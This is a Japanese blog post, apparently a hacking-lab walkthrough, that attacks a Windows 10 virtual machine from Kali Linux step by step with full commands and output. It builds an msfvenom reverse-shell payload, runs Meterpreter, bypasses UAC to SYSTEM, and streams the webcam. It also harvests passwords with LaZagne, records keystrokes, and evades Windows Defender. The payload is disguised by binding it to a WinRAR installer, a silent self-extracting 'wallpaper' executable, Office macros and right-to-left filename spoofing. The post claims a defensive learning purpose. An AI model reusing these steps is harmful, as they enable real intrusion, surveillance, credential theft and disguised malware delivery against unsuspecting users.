28
22

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

ハック技術: Windows10ハック #2 Exploit、情報奪取、権限昇格、バックドア設置、アンチウィルス回避、バインド編

Last updated at Posted at 2019-05-06

#ゆるいハッキング大会」に参加した。
ハッキング熱が高まった。

ハッキング・ラボのつくりかた」を勢いで購入。

今回は、ハッキング・ラボの作り方に載っているWindows10のやり方の、
・Exploit
・情報奪取
・権限昇格
・バックドア設置
・アンチウィルス回避
・バインド(ペイロードに別ファイルを結合)
の流れ。

アンチウィルス回避とバインドは、なかなかうまくいかない。

お約束

本記事は、
・防御の為に敵の攻撃を知る
・技術力向上
を目的としている為、記載内容を悪用する事は禁じます。
記載内容を実行した結果として生じた全ての事に、私は一切責任を負いません。

環境について

0.自分のノートPC

 HP HP Spectre x360 Convertible 13-ac0XX/827E, BIOS F.31 04/27/2017
 Linux dsnote 4.15.0-48-generic #51~16.04.1-Ubuntu SMP Fri Apr 5 12:01:12 UTC 2019 x86_64 GNU/Linux

1. KaliLinux

ハック技術: KaliLinux on Docker - Qiita

2. Windows10

ハック技術: Windows10ハック #1VirtualBoxで環境セットアップ編 (on Ubuntu)編 - Qiita
エディション:Windows 10 October 2018 Update

Kali on dockerでGUIアプリを使う為に設定変更

後にWin10のスクリーンショットを取るので、先に設定変更しておく。

Dockerコンテナの中でGUIアプリケーションを起動させる - Unskilled?
そのままだと、dockerのkaliではGUIアプリを表示不可能なので、dockerの起動時のパラメータを変更する。
docker commitして今のイメージをmy-kali-linux:2として作って、以下のコマンドを実行。

$ sudo docker run -it -d --rm --name kali --net="host" --privileged -e DISPLAY=$DISPLAY -v /tmp/.X11-unix/:/tmp/.X11-unix my-kali-linux:2 /bin/bash
$ xhost local:

Exploit

Kaliでペイロード作成
# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.28.128.1 -f exe -o /root/evil2.exe
# cp evil2.exe /var/www/html/share/
# service apache2 restart

Win10のEdgeで、http://172.28.128.1/share/ にアクセスして、evil2.exeをダウンロード。

Windows Defender セキュリティーセンター リアルタイム保護

「ハッキング・ラボのつくりかた」の設定では、リアルタイム保護ありでもダウンロード出来る様子。

今回のセットアップでは、リアルタイム保護があると、evil2.exeをダウンロードしても検疫されて駆除される。

Pattern 1: -> 検疫・駆除
 (本では => リアルタイム保護:DL時あり、実行時あり => 「このアプリはお使いのPCでは実行できません」
Pattern 2: -> 検疫・駆除
 (本では => リアルタイム保護:DL時あり、実行時なし => 「このアプリはお使いのPCでは実行できません」
Pattern 3:
 リアルタイム保護:DL時なし、実行時あり => 「ファイルにウィルスまたは望ましくない可能性のあるソフトウェアが含まれているため、操作は正常に完了しませんでした」というエラーダイアログが表示される。さらに、検疫・駆除される。
Pattern 4:
 リアルタイム保護:DL時なし、実行時なし => 初回実行時にSmartScreenの警告画面が出るが、強制的に実行可能なので、そこで実行するとMeterpreterセッションが確立する。

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.28.128.1:4444 
msf5 exploit(multi/handler) > [*] Sending stage (206403 bytes) to 172.28.128.4
[*] Meterpreter session 2 opened (172.28.128.1:4444 -> 172.28.128.4:50630) at 2019-05-05 10:41:33 +0000

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                             Connection
  --  ----  ----                     -----------                             ----------
  2         meterpreter x64/windows  DESKTOP-5UK4SPV\test @ DESKTOP-5UK4SPV  172.28.128.1:4444 -> 172.28.128.4:50630 (172.28.128.4)

msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: DESKTOP-5UK4SPV\test

meterpreter > ls
Listing: C:\Users\test\Downloads
================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2019-05-05 09:01:58 +0000  desktop.ini
100777/rwxrwxrwx  7168  fil   2019-05-05 10:03:22 +0000  evil2.exe

情報奪取

1. ファイルの取得

Win側で、適当にファイル(password.txt)を作ってそれをダウンロードしてみる。

meterpreter > ls
Listing: C:\Users\test\Downloads
================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2019-05-05 09:01:58 +0000  desktop.ini
100777/rwxrwxrwx  7168  fil   2019-05-05 10:03:22 +0000  evil2.exe
100666/rw-rw-rw-  7     fil   2019-05-05 10:13:12 +0000  password.txt

meterpreter > download password.txt
[*] Downloading: password.txt -> password.txt
[*] Downloaded 7.00 B of 7.00 B (100.0%): password.txt -> password.txt
[*] download   : password.txt -> password.txt
# cat password.txt 
Wow!!!! 

2. スクリーンショットの撮影

撮影
meterpreter > screenshot
Screenshot saved to: /root/bifKkVfR.jpeg
表示
# apt install feh -y
# feh bifKkVfR.jpeg

権限昇格

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)

権限昇格に失敗するので、UAC機能を回避するモジュールを使用する。

meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > search bypassuac

Matching Modules
================

   #  Name                                              Disclosure Date  Rank       Check  Description
   -  ----                                              ---------------  ----       -----  -----------
   1  exploit/windows/local/bypassuac                   2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass
   2  exploit/windows/local/bypassuac_comhijack         1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
   3  exploit/windows/local/bypassuac_eventvwr          2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
   4  exploit/windows/local/bypassuac_fodhelper         2017-05-12       excellent  Yes    Windows UAC Protection Bypass (Via FodHelper Registry Key)
   5  exploit/windows/local/bypassuac_injection         2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection)
   6  exploit/windows/local/bypassuac_injection_winsxs  2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
   7  exploit/windows/local/bypassuac_sluihijack        2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack)
   8  exploit/windows/local/bypassuac_vbs               2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)

日付が新しくて、excellentのやつを選ぶ。

exploit/windows/local/bypassuac_sluihijackを使う。
こいつはデフォルトでhttpsでポート8443を使ってアクセスしてくる様なので、ローカルでポート8443/tcpを許可しておく。

msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_sluihijack
msf5 exploit(windows/local/bypassuac_sluihijack) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows x86
   1   Windows x64


msf5 exploit(windows/local/bypassuac_sluihijack) > set target 1
target => 1
msf5 exploit(windows/local/bypassuac_sluihijack) > set session 7
session => 7
msf5 exploit(windows/local/bypassuac_sluihijack) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf5 exploit(windows/local/bypassuac_sluihijack) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf5 exploit(windows/local/bypassuac_sluihijack) > show options

Module options (exploit/windows/local/bypassuac_sluihijack):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  7                yes       The session to run this module on.


Payload options (windows/x64/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.28.128.1     yes       The local listener hostname
   LPORT     8443             yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   1   Windows x64


msf5 exploit(windows/local/bypassuac_sluihijack) > exploit

[*] Started HTTPS reverse handler on https://172.28.128.1:8443
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: powershell Start-Process C:\Windows\System32\slui.exe -Verb runas
[*] https://172.28.128.1:8443 handling request from 172.28.128.4; (UUID: 6xgjgvbr) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 8 opened (172.28.128.1:8443 -> 172.28.128.4:50723) at 2019-05-05 11:25:52 +0000
[*] Cleaining ...

meterpreter >

no sessions was created.の場合はexploitに失敗しているが、meterpreterプロンプトが返って来たので成功している。
失敗する場合は、exploit/windows/local/bypassuac_injection_winsxsモジュールも使えるのでこちらも使ってみる。

meterpreter >
meterpreter > pwd
C:\Windows\system32
meterpreter > getuid
Server username: DESKTOP-5UK4SPV\test
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

バックドア設置

Win7の時と同様にpersistence等でバックドアを設置。
ハック技術: Windows7ハック #3 Exploit、情報奪取、権限昇格、バックドア設置、ログ消し編 - Qiita

Win10の場合、再起動した後にリアルタイム保護が再度有効になる為、次回起動時に検疫・駆除される可能性大。

ターゲット端末のWEBカメラの映像を取得

VirtualBoxにExtensionPackを入れていると、デバイス>Webカメラ>...でWin側でカメラを使える。
ターゲット端末は、カメラが使える前提とする。

# apt install cheese

ユーザー権限のセッションに切り替えて、カメラ映像取得。
cheeseはデフォルトでポート5355/tcpを使うので、ローカルで開けておく。

meterpreter > background
meterpreter > session -i 1 (ユーザー権限のセッション
meterpreter > webcam_list
1: VirtualBox Webcam - HP TrueVision FHD RGB-IR: HP Tr
meterpreter > webcam_stream
[*] Starting...
[*] Preparing player...
[*] Opening player at: /root/GBUWuTvs.html
[*] Streaming...

ブラウザが立ち上がって、webカメラのストリーム映像が流れる。

情報奪取(権限昇格後

1. パスワード探し

lazagne.exeをkaliにダウンロード。

# wget https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.2/lazagne.exe
meterpreter > pwd
C:\Users\test\Downloads
meterpreter > upload lazagne.exe
[*] uploading  : lazagne.exe -> lazagne.exe
[*] Uploaded 5.47 MiB of 5.47 MiB (100.0%): lazagne.exe -> lazagne.exe
[*] uploaded   : lazagne.exe -> lazagne.exe
meterpreter > shell
Process 2636 created.
Channel 3 created.
Microsoft Windows [Version 10.0.17763.379]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\test\Downloads>dir
dir
 �h���C�u C �̃{�����[�� ���x���������܂����B
 �{�����[�� �V���A���ԍ��� 4ACD-8175 �ł�

 C:\Users\test\Downloads �̃f�B���N�g��

2019/05/05  22:40    <DIR>          .
2019/05/05  22:40    <DIR>          ..
2019/05/05  22:40         5,735,701 lazagne.exe
2019/05/05  19:13                 7 password.txt
               2 �‚̃t�@�C��           5,735,708 �o�C�g
               2 �‚̃f�B���N�g��  39,327,277,056 �o�C�g�̋󂫗̈�

C:\Users\test\Downloads>lazagne.exe
lazagne.exe
usage: lazagne.exe [-h] [-version]
                   {chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multimedia,memory,databases,php}
                   ...

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

positional arguments:
  {chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multimedia,memory,databases,php}
                        Choose a main command
    chats               Run chats module
    mails               Run mails module
    all                 Run all modules
    git                 Run git module
    svn                 Run svn module
    windows             Run windows module
    wifi                Run wifi module
    maven               Run maven module
    sysadmin            Run sysadmin module
    browsers            Run browsers module
    games               Run games module
    multimedia          Run multimedia module
    memory              Run memory module
    databases           Run databases module
    php                 Run php module

optional arguments:
  -h, --help            show this help message and exit
  -version              laZagne version

C:\Users\test\Downloads>lazagne.exe all
lazagne.exe all

(略

[+] 0 passwords have been found.
For more information launch it again with the -v option

elapsed time = 2.15600013733

Password found!!!と表示されると見つかった証拠。

巧妙なアップロード先としては、

  • システムが利用するフォルダー
     ・C:\Windows\system32
     ・C:\Windows
  • ユーザが普段確認しないフォルダー
     ・Tempフォルダ
     ・ゴミ箱 C:$Recycle.Bin
  • ソフトウェアインストールフォルダ
     ・C:\Program Files

2. ブラウザ履歴

msf5 exploit(windows/local/bypassuac_sluihijack) > use post/windows/gather/forensics/browser_history
msf5 post(windows/gather/forensics/browser_history) > sessions

Active sessions
===============

  Id  Name  Type                     Information                             Connection
  --  ----  ----                     -----------                             ----------
  4         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DESKTOP-5UK4SPV   172.28.128.1:8443 -> 172.28.128.4:49795 (172.28.128.4)

msf5 post(windows/gather/forensics/browser_history) > set session 4
session => 4
msf5 post(windows/gather/forensics/browser_history) > show options

Module options (post/windows/gather/forensics/browser_history):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  4                yes       The session to run this module on.

msf5 post(windows/gather/forensics/browser_history) > run

[*] Gathering user profiles
[*] Checking for Chrome History artifacts...
[-] Chrome History directory not found for test
[*] Checking for Chrome Archived History artifacts...
[-] Chrome Archived History directory not found for test
[*] Checking for Skype artifacts...
[-] Skype directory not found for test
[*] Checking for Firefox artifacts...
[-] Firefox directory not found for test
[*] Post module execution completed
msf5 post(windows/gather/forensics/browser_history) > 

今回は何も取れなかったが、各種ブラウザがあれば取れているのだろう。

3. MRUの取得

Most Recently Used: 最近使ったリスト
ターゲットの最近の行動を知ることができる。ソーシャルエンジニアリング。

meterpreter > reg enumkey -k HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\(KEY)

(KEY) = RunMRU or TypedPaths or FindComputerMRU or Doc Find Spec MRU or PrnPortsMRU or StreamMRU

環境によってレジストリキーが存在しない。
今回は全て無かった。

アンチウィルスを回避する

なかなか本のとおりにはいかないようだ。

Veil Frameworkを使用する

# apt install veil-evasion

Windows Defenderのリアルタイム保護を回避する

Veil Frameworkで生成した"evil3.bat"は、ダウンロード時にウィルスとして検知されないと、本には書いてあるが、
本のとおりにやってみると、WindowsDefenderによって検疫・駆除された。(2019/05/06現在)
恐らくウィルスの定義ファイルが更新されている。

本では、ペイロードを実行するとPattern 4の流れになり、セッションが確立する。

ペイロードに別ファイルを結合する

Shellterでペイロードとexeファイルをバインドする

winrar 5.71
https://www.win-rar.com/download.html?&L=0
をダウンロードしておく。

# apt install shellter
# shellter

別画面が立ち上がる。以下の順で入力。

  • A
  • /root/wrar571.exe
  • Y
  • L
  • 1
  • 172.128.28.1
  • 4444
# cp wrar571.exe /var/www/html/share/

https://www.virustotal.com/ja/ 等のサイトにアップロードして、どれくらいのウィルスの検出システムにひっかかるか検査可能。
この辺りは、いろいろ工夫ができる部分かもしれない。

#####リアルタイム保護有効時
ダウンロード時にウィルス検知されない。(システムの環境によっては検知される。
実行時にMeterpreterセッションが一瞬確立するが、振る舞いがMeterpreterであると検知され、セッションが閉じられる。

#####リアルタイム保護無効時
ダウンロード時にウィルス検知されず、セッションも確立する。
インストーラーを閉じるとセッションも閉じる。
本ではこう書いてあるが、今回の環境ではリアルタイム保護ありの時と同じ振る舞いのようだ。

WinRARでペイロードと画像ファイルをバインドする

この方法でやってみても、Meterpreterセッションが一瞬確立するが、セッションが閉じられた。

ペイロード作成
#msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=172.28.128.1 -f exe -e x86/shikata_ga_nai -i 3 -b '\x00\xff' -o /root/evil4.exe
  • wallpaper.jpg
  • wallpaper.ico
  • evil.exe

をバインドする。
ico化は、色んなサイトで可能。
https://www.icoconverter.com とか。

バインド
  • wallpaper.jpgとwallpaper.icoを選択状態で'Add to archive'。
  • General> ArchiveName amazing_wallpaper.rar
    ArchiveOptions Create SFX archive
  • Advanced > SFX Options
     Run after extraction>
       evil4.exe
       wallpaper.jpg
     Mode>
      silient mode = hide all
     Text and icon>
      browse> wallpaper.ico
     Update>
      UpdateMode = extract and update files
      overwritemode = overwrite all files

ファイル名をamazing_wallpaper.jpg.exeに変更

リバースシェル待受け
amazing_wallpaper.jpg.exeを実行

ExcelやWordファイルにペイロードをバインドする

マクロを使う。

MacroShop
# git clone https://github.com/khr0x40sh/MacroShop.git
# cd MacroShop
# ./macro_safe.py ../evil3.bat ../script.txt

script.txtをExcel開いてマクロとして設定する。

リバースシェル待受け
マクロ実行

RLO(Right-to-Left Override)による拡張子の偽造

Unicodeの制御文字「U+202E」。文字の流れを右から左に変えられる。
tecfdp.exe -> tecexe.pdfと表示できる。

amazing_wallpaper.jpg.exe -> amazing_wallpaper.exe.jpg

キーロガーで情報を奪取する

ユーザー権限セッションで可能。

meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

本格的にするならこっち

msf5 exploit(multi/handler) > use post/windows/capture/keylog_recorder
msf5 post(windows/capture/keylog_recorder) > set session 21
session => 21
msf5 post(windows/capture/keylog_recorder) > show options

Module options (post/windows/capture/keylog_recorder):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CAPTURE_TYPE  explorer         no        Capture keystrokes for Explorer, Winlogon or PID (Accepted: explorer, winlogon, pid)
   INTERVAL      5                no        Time interval to save keystrokes in seconds
   LOCKSCREEN    false            no        Lock system screen.
   MIGRATE       false            no        Perform Migration.
   PID                            no        Process ID to migrate to
   SESSION       21               yes       The session to run this module on.

msf5 post(windows/capture/keylog_recorder) > run

[*] Executing module against DESKTOP-5UK4SPV
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20190506105117_default_172.28.128.4_host.windows.key_709857.txt
[*] Recording keystrokes...

ログファイルをtail -f で見ると良い。

##おわり

28
22
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
28
22

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?